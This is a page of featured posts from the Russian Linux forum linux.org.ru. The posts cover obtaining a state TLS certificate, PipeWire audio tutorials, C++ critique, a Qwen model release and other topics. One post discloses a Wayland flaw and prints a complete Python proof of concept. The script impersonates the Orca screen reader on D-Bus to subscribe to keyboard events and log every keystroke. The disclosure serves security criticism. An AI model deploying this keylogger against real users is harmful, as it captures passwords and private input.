LINUX.ORG.RU

Избранные сообщения xgatron

Как я получал российский TLS-сертификат

 , ,

Услышал, что LE не продлевает сертификаты кому-то из России.

Услышал, что какие-то удостоверяющие центры отозвали сертификаты у кого-то из России.

А мне как раз нужен сертификат для сайта организации (раньше не было никакого). Решил не наступать на зарубежные грабли и получить суверенный бесплатный сертификат от Минцифры.

  1. Домен зарегистрирован на физлицо, это для Минцифры не подходит, нужно перерегистрировать на организацию. В Руцентре это делается через подачу заявления лично в офисе (остальные способы ещё хуже). Подал заявление, рассмотрение до 3 рабочих дней.

  2. Проходит 3 рабочих дня, в личном кабинете домена нет, звонок в поддержку (только по будним дням в рабочее время), ожидание на линии 15 минут, специалист отвечает «рассмотрение до месяца», я проявляю настойчивость и говорю, что в офисе обещали 3 дня, должна быть какая-то причина, и лишь в результате тщательного допроса специалист признался, что в личном кабинете нужно зайти в «Операции → Смена администратора» и там нажать «Принять домен». На главной странице личного кабинета не было ни намёка на то, что появился новый домен для принятия, и я так и не узнал, когда он там появился, через 3 дня или через полчаса.

  3. Для подачи заявления на сертификат нужна справка о принадлежности домена, подписанная УКЭП. Руцентр выдаёт такие справки бесплатно, если у вас подключена платная услуга «Безопасность домена» (я её подключать не собирался, они сами подключили). Заказываю справку, пропускаю при заказе варианты выбора доставки справки, и оказывается, что я заказал «Доставку почтой». Заказываю вторично, выбираю на этот раз электронный вариант, получаю отказ, т. к. уже заказана доставка почтой. Звоню в поддержку, ожидание на линии 10 минут, специалист отвечает, что отменить заказ можно только по заявке в поддержку через сайт. Пишу заявку на сайте, жду день, жду второй, звоню снова, через какое-то время заказ отменяют.

  4. Заново заказываю справку о принадлежности домена, но теперь это платная услуга, потому что «Безопасность домена» как раз за эти 2 дня истекла и продлевать её я не собираюсь. Плачу за справку (сумма меньше), получаю результат через ещё 2 дня. Электронную справку без живой подписи, которая делается автоматически, делают 2 дня.

  5. Справка получена, перехожу к заполнению заявления на Госуслугах на получение OV-сертификата. Первый вопрос: RSA или ГОСТ? Отвечаю, конечно ГОСТ, мы тут в суверенность играем или что, и я ещё давно слышал, что гостовские алгоритмы шифрования включили в OpenSSL. Заполняю конфигурационый файл по инструкции. В процессе пришлось выяснять, какого класса у меня СКЗИ Криптопро (оказалось, что КС1), а также расчехлить виртуалку с Астра-линуксом, чтобы создать ключ по ГОСТу (здесь меня должны были начать терзать смутные сомнения, но не начали).

  6. Для отправки заявления нужно доказать владение доменом путём добавления TXT-записи с подтверждающим кодом. Это означает ожидание от 10 до 30 минут, пока запись дойдёт до московских DNS-серверов, что на общем фоне незначительная потеря. Но для чего тогда нужна справка?

  7. Заявление отправлено в Минцифры, код подтверждён, справка с подписью тоже приложена. Через 10 секунд приходит отказ с формулировкой:

    NCA-315. Подпись документа, подтверждающего владение доменом, не прошла проверку

    Интернет таких слов не знает. Обращаюсь в поддержку Минцифры через Госуслуги же. Из поддержки отвечают на следующий день: оказывается, подписывать справку о принадлежности домена должен не регистратор домена, а организация, на которую оформлен домен. Из-за этого, во-первых, теряет всякий смысл само требование справки (и открывается возможность к более простой и нечестной процедуре получения справки без выполнения пп. 1-2), и во-вторых, теряют смысл действия в пп. 3-4, потому что справку без электронной подписи Руцентр просто даёт скачать с сайта бесплатно.

  8. Подписываю уже имеющуюся справку Руцентра подписью организации, подаю заявление на Госуслуги снова, через 10 секунд отказ не приходит, радуюсь, затем радость постепенно сменяется томительным ожиданием, потому что срок рассмотрения до 3 рабочих дней (в моём случае было 2).

  9. Получаю желанный сертификат, спешу поставить его на сервер и обнаруживаю, что:

    • Из коробки сертификат в nginx не работает, потому что суверенные гостовские алгоритмы, см. п. 5;

    • Рунет пестрит рекламой кастомной сборки nginx от Криптопро, в которую эти алгоритмы встроены, но последнее, что я хочу делать — это ставить на сервер чьи-либо кастомные сборки с регистрацией и кодами активации;

    • Всё же при наличии пакета libengine-gost-openssl, включения gost.so в конфиге OpenSSL и добавления в конфиг сайта

      ssl_protocols TLSv1.2; # Но не 1.3
      ssl_ciphers GOST2012-GOST8912-GOST8912:kGOST:aGOST;
      

      штатный nginx начинает работать.

  10. Но начинает работать в п. 9 только сервер. Клиенты не работают. Точнее, работает один: openssl s_client из командной строки (при условии установки и включения gost.so из п. 9). Никакие десктопные браузеры сайт не открывают. Ни Хром, ни Фаерфокс, ни chromium-gost, ни даже Яндекс-браузер. Не открывают вообще, опции «открой, я доверяю», не предлагается. Для того, чтобы зайти на сайт, нужно расширение Криптопро. Тот факт, что системный OpenSSL работает без Криптопро, браузерам не помогает, потому что все они тащат свои реализации TLS, системной не пользуются. Есть возможность локального проксирования трафика через OpenSSL и хождения на сайт через http://localhost:1234, но это слишком неестественно даже для пользователей Линукса. В прошлом были десктопные браузеры, поддерживающие ГОСТ (Атом, Спутник), но их уже нет. Также ходят слухи о секретной государственной разработке под названием «Браузер Восток», но её ещё нет. Короче говоря, гостовский сертификат был ошибкой.

  11. Возвращаюсь к. 5, заполняю заявку по другой форме на RSA-сертификат, повторяю п. 6, заявление отправлено, сертификат получен вечером того же дня, это успех.

  12. На этом фоне требование поставить суверенные корневые сертификаты кажется сущим пустяком. Единственное, нужно поставить их дважды: в браузер (чтобы открывать сайт без предупреждения от браузера) и в систему (чтобы работало всё остальное). Но в браузер их и так уже все поставили из-за Сбербанка и РЖД, а в систему, ну что ж, сгорел сарай — гори и хата.

Выводы:

  • С Руцентром лучше дела не иметь и регистрировать домены где угодно, только не в нём;

  • Подписывайте сами выданные вам справки о владении доменами (не проверял, работает ли также выдача этих справок самому себе);

  • Гостовские сертификаты вам нужны, только если вы государственная организация с повышенными требованиями к информационной безопасности, в остальных случаях берите RSA-сертификат;

  • Если не делать лишних действий и если очень повезёт, можно справиться за 1 рабочий день!

Перемещено hobbit из talks

ringill
()

В Wayland завезли интерфейс для кейлоггеров из коробки

 , , ,

Привет, чят!

Как ты знаешь, одним из отличительных недостатков Wayland в сравнение с X11 является невозможность произвольной программой получить доступ к вводу с клавиатуры и захакернуть все твои пароли. Как минимум, в KDE и GNOME этот недостаток теперь исправлен.

Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д. В Linux такую роль исполняет Orca. Для того, чтобы обеспечить доступ Orca к событиям ввода, в KDE и GNOME добавили специальный интерфейс в dbus org.freedesktop.a11y.KeyboardMonitor, подписавшись на который можно собственно получать всю инфу. Возникает закономерный вопрос: как же определить, что доступ пытается получить именно Orca, а не злобный хакерский скрипт?

Ответ: KWin (композитор KDE) и Mutter (GNOME) проверяют… имя программы в dbus. И всё. Соответственно, любая программа, назвавшаяся org.gnome.Orca, получает по dbus доступ к вводу с клавиатуры и может захакеровывать твои пароли, ЛОРовец.

Пруф:

#!/usr/bin/env python3

import gi
gi.require_version('Gio', '2.0')
from gi.repository import Gio, GLib

bus = Gio.bus_get_sync(Gio.BusType.SESSION)

# Claim the Orca screen reader bus name
result = bus.call_sync(
    'org.freedesktop.DBus',
    '/org/freedesktop/DBus',
    'org.freedesktop.DBus',
    'RequestName',
    GLib.Variant('(su)', ('org.gnome.Orca.KeyboardMonitor', 0)),
    GLib.VariantType('(u)'),
    Gio.DBusCallFlags.NONE,
    -1, None
)
print(f"[*] RequestName result: {result}")  # 1 = acquired

# Now call WatchKeyboard
bus.call_sync(
    'org.freedesktop.a11y.Manager',
    '/org/freedesktop/a11y/Manager',
    'org.freedesktop.a11y.KeyboardMonitor',
    'WatchKeyboard',
    None, None,
    Gio.DBusCallFlags.NONE,
    -1, None
)
print("[+] WatchKeyboard succeeded!")

# Listen for KeyEvent signals
def on_key_event(connection, sender, path, interface, signal, params):
    pressed, flags, keysym, charcode, scancode = params.unpack()
    if pressed: # True = released, we log on press instead
        return

    if charcode >= 32 and charcode < 127:
        char = chr(charcode)
        print(f"{char}", end="", flush=True)
    elif keysym == 65293:
        print(f"\n", end="", flush=True)
    elif keysym == 65288:
        print(f"[BS]", end="", flush=True)
    elif keysym == 65289:
        print(f"[TAB]", end="", flush=True)
    elif keysym == 65507 or keysym == 65508:
        print(f"[CTRL]", end="", flush=True)
    elif keysym == 65505 or keysym == 65506:
        print(f"[SHIFT]", end="", flush=True)
    elif keysym == 65513 or keysym == 65514:
        print(f"[ALT]", end="", flush=True)
    elif keysym == 65515:
        print(f"[SUPER]", end="", flush=True)
    else:
        print(f"[{keysym}]", end="", flush=True)

bus.signal_subscribe(
    None,
    'org.freedesktop.a11y.KeyboardMonitor',
    'KeyEvent',
    None, None,
    Gio.DBusSignalFlags.NONE,
    on_key_event
)

print("[*] Listening for keystrokes...")
loop = GLib.MainLoop()
try:
    loop.run()
except KeyboardInterrupt:
    print("\n[*] Cleaning up")
    bus.call_sync(
        'org.freedesktop.a11y.Manager',
        '/org/freedesktop/a11y/Manager',
        'org.freedesktop.a11y.KeyboardMonitor',
        'UnwatchKeyboard',
        None, None,
        Gio.DBusCallFlags.NONE,
        -1, None
    )

Скрипту требуется пакет pygobject3 и всё. Скрипт печатает все события с клавиатуры в консольку, пока не получит ^C.

Код и прочая инфа взяты отсюда: https://linnemanlabs.com/posts/hello-my-name-is-orca/

В общем, чят, вот такое вот забавное состояние безопасности в Wayland, над которым работают суровые профессионалы.

P.S. бонусом, если вместо метода WatchKeyboard дёрнуть метод GrabKeyboard, весь ввод уйдёт твоему скрипту, а обычные окна получат шиш. В общем, всё абсолютно как в X11. А ещё через это можно глобальные хоткеи сделать. Наконец-то паритет по фичам достигнут!

yorshka
()

EasyEffects не нужно, или PipeWire для продвинутых: часть 5

 , ,

Расширение стереоэффекта для динамиков ноутбука

Предыдущие части:

Часть 1

Часть 2

Часть 3

Часть 4

( читать дальше... )

James_Holden
()

EasyEffects не нужно, или PipeWire для продвинутых: часть 4

 , ,

Спатиалайзер для наушников

Вы когда-нибудь задумывались, чем прослушивание музыки через наушники, отличается от прослушивания музыки через колонки? Основное отличие – когда мы в наушниках, то левое ухо слышит только звук левого наушника (левый стерео канал), и совсем не слышит звук правого. И наоборот. Когда мы слушаем колонки, то оба уха слышат обе колонки, но по-разному. Из-за этого простого факта, восприятие стерео-сцены в наушниках и через колонки, радикально отличается.

И возникает существенная проблема – а на что должна быть расчитана запись, на прослушивание в наушниках, или в колонках? Индустрия выбирает колонки, как основной источник звука, и все делается в расчете на них. А в наушниках мы будем слышать неправильное стерео, сильно искаженное.

Но у нас же есть pipewire, поэтому не беда, сейчас мы это исправим! В этой и следующей статье, мы заставим звучать наушники как колонки, а колонки как наушники (ну почти)!

( читать дальше... )

James_Holden
()

EasyEffects не нужно, или PipeWire для продвинутых: часть 3

 , ,

Во второй части мы разобрали вопрос, как управлять параметрами эффектов в реальном времени, без перезапуска PipeWire.

Теперь рассмотрим, как можно добавить сторонний плагин, реализующий эффект, который не встроен в PipeWire, и как управлять его параметрами.

( читать дальше... )

James_Holden
()

EasyEffects не нужно, или PipeWire для продвинутых: часть 2

 , ,

В первой части мы создали конфиг-файл, который добавляет 15-полосный эквалайзер в граф PipeWire. Теперь разберем вопрос, а как же изменять его параметры на лету, без перезапуска PipeWire. Вопрос очень животрепещущий, редакция завалена письмами с ним. ))

В этой части мы разберем задачу на «низком» уровне CLI-утилит. На этой базе несложно сделать любой GUI-фронтенд, который позволит управлять параметрами уже из GUI.

( читать дальше... )

James_Holden
()

EasyEffects не нужно, или PipeWire для продвинутых: часть 1

 , ,

ВСТУПЛЕНИЕ

Звуковая система PipeWire принесла, без преувеличения, революцию в мир десктопно-мультимедийного Linux. Наконец то эта ОС получила продуманную, сделанную по уму понимающими в теме людьми, и сделанную качественно звуковую систему. Многие ее возможности присутствовали и раньше, в других более старых звуковых системах, но в PipeWire они собраны воедино и сформировали целую единую платформу, на которой можно реализовать огромное количество самых разных задач.

Но в пользовательской среде, эта революция практически не заметна, часто можно встретить мнение вида «ну играет ютуб и играет, мне хватает». Поэтому я решил сделать небольшой цикл статей, посвященный более продвинутому использованию PipeWire, раскрывающему его, без преувеличения, поразительные возможности. (Ну и чтобы изучить их самому в процессе, хехехе).

( читать дальше... )

James_Holden
()

Нейронные сети нетрадиционного вычисления

 , , ,

Данная статья не стремится к научной полноте и не содержит формул, однако включает ссылки на исследования, которые были использованы при её подготовке. Статья призвана познакомить читателя с тем, как биологические механизмы могут применяться при разработке искусственных нейронных сетей для создания сильного искусственного интеллекта (AGI).

В прошлых статьях [1 (linux.org.ru)],[2 (linux.org.ru)] мы рассмотрели сложную структуру нейронной сети в виде кортикальных колонок со спайковой передачей сигнала. Пришло время изменить подход к самим вычислениям, чтобы выйти за пределы кремниевой логики.

Мы привыкли думать, что искусственный интеллект — это бесконечное умножение матриц. Миллиарды параметров, гигаватты энергии и детерминированная логика. Но если мы хотим приблизиться к природе настоящего мышления, нам придётся признать: мозг — это не калькулятор. И если мы хотим, чтобы наша сеть перестала быть калькулятором, нам придётся попробовать шаг в сторону — туда, где вычисление становится не только числом, но и событием. Для этого мы реализуем одну из самых дерзких теорий сознания XX века — теорию Orch-OR Роджера Пенроуза и Стюарта Хамероффа в виде квантового вычислителя в Readout-слое.

( читать дальше... )

Перемещено hobbit из development

Obezyan
()

Нейронные сети нетрадиционного возбуждения

 , , ,

Данная статья не стремится к научной полноте и не содержит формул, однако включает ссылки на исследования, которые были использованы при её подготовке. Статья призвана познакомить читателя с тем, как биологические механизмы могут применяться при разработке искусственных нейронных сетей для создания сильного искусственного интеллекта (AGI).

В прошлой статье [1 (linux.org.ru)] мы рассмотрели сложную структуру нейронной сети в виде кортикальных колонок. Однако передача сигнала в ней осталась такой же, как в обычных искусственных нейронных сетях. Давайте заменим её на биологический вариант.

( читать дальше... )

Перемещено hobbit из development

Obezyan
()

Нейронные сети нетрадиционной ориентации

 , , ,

Данная статья не стремится к научной полноте и не содержит формул и графиков, однако включает ссылки на исследования, которые были использованы при её подготовке. Статья призвана познакомить читателя с тем, как биологические механизмы могут применяться при разработке искусственных нейронных сетей для создания сильного искусственного интеллекта (AGI).

( читать дальше... )

Перемещено hobbit из development

Obezyan
()

Вышла open weight модель Qwen38-27b, пожалуй, новый дефолт для локальных домашних моделей!

 ,

Вышла Qwen3.8-27B — 27B dense, vision, 262K контекста и MTP

Qwen наконец выложили Qwen3.8-27B.

Это, пожалуй, самый интересный размер в новой линейке именно с точки зрения локального запуска. 27 миллиардов параметров — это уже достаточно большая модель для серьёзной работы, но ещё не тот случай, когда для запуска нужен небольшой датацентр.

Модель dense, мультимодальная: понимает текст, изображения и видео. Из коробки заявлены coding, research, professional workloads и длинные agentic-задачи.

По архитектуре тоже есть интересные изменения.

Внутри:

  • 27B параметров;
  • hidden size 5120;
  • 64 слоя;
  • vocabulary / embedding — 248 320;
  • гибрид Gated DeltaNet + обычный Attention;
  • схема слоёв: 16 × (3 × DeltaNet → FFN + 1 × Attention → FFN);
  • FFN — 17 408;
  • MTP — Multi-Token Prediction, причём модель обучалась сразу с несколькими prediction steps.

То есть это уже не обычный Transformer, где на каждом слое приходится считать полноценный quadratic attention. Большая часть слоёв использует Gated DeltaNet, а классический attention появляется периодически.

Из практического интереса здесь ещё и MTP. Если inference-движки нормально его реализуют, это потенциально хороший источник дополнительной скорости при локальной генерации.

Контекст

Нативное окно — 262 144 токена.

До 1 000 000 токенов его можно расширить через YaRN. Причём сами Qwen отдельно предупреждают, что статический YaRN может немного ухудшать качество на коротком контексте и рекомендуют включать scaling только тогда, когда он действительно нужен.

Для 524K, например, они рекомендуют factor=2.0, а для миллиона — factor=4.0.

Это приятная деталь: вместо привычного «у нас миллион токенов» мелким шрифтом прямо написано, как этот миллион получается и какие у него есть компромиссы.

Thinking mode

По умолчанию модель работает с reasoning включённым и пишет reasoning в <think>...</think>.

Есть три официальных уровня:

  • xhigh — максимальное рассуждение, используется по умолчанию;
  • medium — баланс скорости и качества;
  • low — упор на скорость.

Thinking можно полностью отключить.

Ещё появилась интересная штука preserve_thinking: модель по умолчанию сохраняет reasoning из предыдущих сообщений в многоходовом диалоге. В первую очередь это рассчитано на агентов, чтобы модель не начинала каждый следующий шаг размышлять над задачей заново.

А теперь цифры

Официальная таблица Qwen выглядит довольно бодро:

BenchmarkQwen3.8-27BQwen3.6-27BQwen3.7-PlusMuse Glimmer-30BOpus 4.6 Max
Terminal Bench 2.173.063.464.051.778.2
SWE-bench Pro61.753.557.651.253.4
NL2Repo-Bench42.336.241.1—47.6
DeepSWE 1.142.213.314.2——
QwenSWEBench79.049.359.2—63.8
CoWorkBench70.761.065.1—68.2
JobBench33.421.827.6——
IFBench79.569.179.177.062.5
GPQA Diamond89.287.890.383.591.3
HLE30.824.034.722.040.0
LiveCodeBench v690.383.989.6—88.8

Для 27B особенно впечатляют результаты по coding.

SWE-bench Pro — 61.7, DeepSWE 1.1 — 42.2, QwenSWEBench — 79.0, LiveCodeBench v6 — 90.3.

Причём это не только задачки вида «напиши функцию сортировки». В таблице отдельно есть repo-level code generation, software engineering и agentic terminal coding.

Vision и computer use

Поскольку модель изначально vision-language, есть отдельная пачка мультимодальных тестов:

BenchmarkQwen3.8-27BQwen3.6-27BQwen3.7-PlusMuse Glimmer-30BOpus 4.6 Max
OSWorld-Verified84.363.973.365.972.7
WebArena-Verified64.848.855.3——
AndroidWorld81.970.381.0—62.0
RecreationBench47.129.830.2——
SWE-MM38.625.730.0—27.1
Vision2Web62.945.042.1——
OmniDocBench 1.591.189.491.475.886.6
RealWorldQA85.984.186.9—73.9
ERQA65.562.569.8—40.8

OSWorld 84.3, WebArena 64.8 и AndroidWorld 81.9 намекают, что модель довольно серьёзно затачивали не просто на чат, а именно на работу агентом с интерфейсами, браузером и приложениями.

Плюс она умеет непосредственно принимать видео. В документации есть отдельный пример работы с video_url, а для длинных видео предусмотрена настройка частоты выборки кадров. Разработчики прямо говорят про обработку видео продолжительностью порядка часа.

Поддержка на старте заявлена для Transformers, vLLM, SGLang и TokenSpeed.

Ждём GGUF :)

Модель:

https://huggingface.co/Qwen/Qwen3.8-27B

gagarin0
()

Стемминг без регулярных выражений, как?

 

Стемминг - убрать из слов окончания и суффиксы, например из «винда» превратить в «винд», из «линуксу» в «линукс». Существуют примеры на других языках использующие регулярное выражения, но мне это хочется сделать на по-символьном анализаторе. Начинал делать, преобразуя логику регвыр в по-символьное движение по строке, но там есть несколько действия вперёд-назад, пока не осилил. Claude выдал вариант на строковых функциях, в общем оптимизация = 0.

AZJIO
()

Свой локальный сервер WoW с блэкджеком и ботами, часть 1

 ,

altwazar
()

Ограничиваем сертификат Минцифры

 , ,

Сейчас многие российские сайты, в первую очередь сайты банков, перешли (не по своей воле, но тем не менее) на использование УЦ, которые контролируются Правительством Российской Федерации. Корневые сертификаты этих УЦ (в просторечье - «сертификаты Минцифры»), как правило, по умолчанию не включаются в списки доверенных стандартными иностранными ОС и браузерами. Что будет, если мы их туда включим?

( читать дальше... )

Lrrr
()

C++ — туда и обратно, или зачем нужен Boost

 , , ,

Мой предыдущий тред в Development собрал самое большое число ответов аж с сентября, то есть за последние 9 месяцев, и это лишний раз подтверждает упадок этого форума. Полагаю, кто-то должен это изменить, и поэтому мы с тобой, ЛОР, поговорим сегодня про C++.

Начиная с C++26 вместо std::function вводится пачка новых классов: std::copyable_function, std::move_only_function (доступна с C++23) и std::function_ref. Что же не так с оригинальным std::function, ты можешь спросить? А вот что:

#include <functional>
#include <print>

struct call_me {
    int x = 0;
    void operator()() {
        std::print("x was {}\n", x++);
    }
};

int main() {
    const std::function<void()> f = call_me{};
    f();
}

Несмотря на то, что переменная f объявлена константной (люблю оксюмороны!), у неё есть внутреннее состояние и оно меняется при вызовах. Компилятор это без проблем хавает.

Так вот, ковыряясь в том, зачем и кто вообще смог так насрать себе в штаны сам, я наткнулся на статью ребят, которые подводят список подобных косяков комитета C++, когда фичи живут по 10 лет и объявляются устаревшими.

Небольшой список фич, которые были придуманы, оказались не нужны/бесполезны/вредны и выкинуты:

  • Известный vector<bool>, живущий издревле в STL и про который все говорят, что его надо избегать. Частично заменяется std::bitset.
  • std::auto_ptr. Бесполезен, ломает контейнеры, выкинут на помойку в C++17.
  • Указание исключений у функции в формате throw(X, Y). Так же выкинуто в C++17.
  • std::iterator объявили устаревшим в C++17, собираются удалить в C++26.
  • std::aligned_storage и std::aligned_union добавлены в C++11, объявлены устаревшими в C++23, скоро удалят.
  • Ключевое слово register удалено в C++17, хотя всё ещё доступно в Си.
  • std::get_temporary_buffer и std::raw_storage_iterator удалены в C++20.
  • Потрясающее по эпичности фиаско с интерфейсом для сборщиков мусора. std::declare_reachable сотоварищи были добавлены в C++11. Выяснилось, что сборщики мусора для C++ писать либо никто не умеет, либо никто не хочет, поэтому в C++23 это всё удалили и сделали вид, что ничего не было.
  • Абсолютное безумие вокруг концептов, модулей и поддержки сети. Предложения одобряли, вновь отклоняли, переделывали, и по итогу теми же модулями до сих пор никто не пользуется.
  • Сопрограммы (coroutines). В том виде, в котором они есть в C++, это просто ужас. Достаточно того, что корутины требуют выделения памяти из кучи во время работы, а значит вообще не подходят для случаях, когда требуется серьёзная производительность. Например, в любом коде, требующим работы в реальном времени и не позволяющем делать системные вызовы.

Просто лютый трешак, который никто подчищать пока не собирается:

  • std::regex – лютый тормоз, рекомендуется не использовать.
  • Мертворождённый std::simd, добавленный в C++26 и уже с ходу не нужный вообще никому, потому что код с std::simd в два-три раза тормознее чем со сторонними библиотеками, просто голыми интринсиками, и даже медленнее чем просто цикл for.
  • std::async. Дескруктор ждёт завершения асинка и поэтому может залочить весь код тебе. Наконец починили в C++26, но эта штука была сломана 15 лет.
  • Отвратительно спроектированный <iostream>. Его наконец можно выкинуть и использовать std::print, но не все про это знают.
  • Абсолютно тормозные контейнеры map, set, unordered_map. Вместо первого можно использовать flat_map из C++23. Контейнеры в стандартной библиотеке Rust (BTreeMap) и другие реализации B-Tree Map их обгоняют по производительности, но тем не менее в C++ выбирают убогий дефолт.

Решения многих из этих проблем существуют в Boost и сделаны там гораздо лучше. Но в то же время возникает важный вопрос: зачем вообще нужен настолько плохо спроектированный язык, где каждое следующее поколение инженеров, работающих над ним, отменяет решения предыдущих, а код под новые стандарты часто нужно переписывать если не с нуля, то очень близко к тому? Даже процесс разработки Rust с его поехавшими клоунами в юбках на этом фоне выглядит адекватным.

В общем, всё печально, ЛОР. Такие дела.

yorshka
()

Выделяй память как Линус: инструкция

 , ,

Предположим, у нас есть библиотека на Си. А в этой библиотеке - какая-то структура, детали реализации которой мы хотим скрыть и поэтому удалили из публичных заголовочных файлов. Как правильно выделить память под экземпляр этой структуры? Данная статья пытается ответить на этот вопрос.

( читать дальше... )

Lrrr
()

Утверждён стандарт C++26

 ,

Группа Разработка

Комитет ISO по стандартизации языка C++ утвердил финальный вариант спецификации, образующей международный стандарт «C++26». Представленные в спецификации возможности частично уже поддерживаются в компиляторах GCC (gnu.org), Clang и Microsoft Visual C++. Поддерживающие C++26 стандартные библиотеки реализованы в рамках проекта Boost.

В следующие два месяца утверждённая спецификация будет находиться на стадии подготовки документа к публикации, на которой будет проведена работа по редакторской правке орфографических ошибок и опечаток. В начале ноября результирующий вариант документа будет направлен в ISO для публикации под формальным именем ISO/IEC 14882:2026.

( читать дальше... )

>>> Источник: OpenNET (opennet.ru)

dataman
()

pdflatex → lualatex: почти бесшовный переход

 , , , ,

Простейшая шапка для документа, ориентированного на русскую типографику. Проверено на дистрибутиве TeX Live 2025. Кодировка по умолчанию юникодная.

( читать дальше... )

Evgueni
()

Пользовательские сервисы OpenRC: инструкция по применению

 , , ,

Как я уже писал раньше, в систему инициализации OpenRC недавно добавлена возможность запускать сервисы в пользовательской сессии. В этой статье я покажу, как этим пользоваться, на примере pipewire в Alpine Linux.

Что было раньше

Раньше в пакете с pipewire поставлялся (и до сих пор поставляется) скрипт /usr/libexec/pipewire-launcher, который предлагалось прописывать в конфиге sway. Особенность этого сетапа в том, что после остановки Sway все запущенные им в background процессы оставались висеть в памяти, и перед последующим запуском их предлагалось прибивать с помощью pkill. Не говоря уже про полное отсутствие логов, их не было.

( читать дальше... )

Lrrr
()

SObjectizer-5.8.0 и so5extra-1.6.0

 , , , ,

Вышли очередные версии библиотек SObjectizer и so5extra.

Полный список изменений можно найти в Wiki:

https://github.com/Stiffstream/sobjectizer/wiki/v.5.8.0

https://github.com/Stiffstream/so5extra/wiki/v.1.6.0

Менее полный, но с большим погружением в отдельные моменты, обзор изменений сделан в свежей статье на Хабре.

Если же говорить в двух словах, то начата новая ветка 5.8, в которой пришлось пойти на слом совместимости с предыдущей веткой 5.7. Так что при переходе на SO-5.8 потребуется модифицировать исходники. Не получилось придумать способ внедрить новую функциональность не поломав совместимость :(

Для тех, кто не знает меня и не слышал про этот проект, вкратце:

SObjectizer – это один из «акторных фреймворков» для C++ (еще есть QP/C++, CAF: C++ Actor Framework и rotor). Краткий обзор SObjectizer-а можно найти в этой презентации или в этой статье. Кроме модели акторов SObjectizer поддерживает еще и такие модели как Publish-Subscribe и Communicating Sequential Processes. А so5extra – это набор дополнительных полезных прибамбасов для SObjectizer-а, которые не хотелось добавлять в сам SObjectizer.

В двух словах, SObjectizer, – это инструмент для упрощения разработки некоторых типов многопоточных приложений на C++.

Новая версия уже доступна через vcpkg, добавление в conan пока задерживается, но надеюсь, что скоро она появится и там.


Готов к тому, что в меня будут бросаться гнилыми помидорами за рекламу образцового нинужно, но как можно было обойтись без поста на LOR-е, по старой доброй традиции? ;)

eao197
()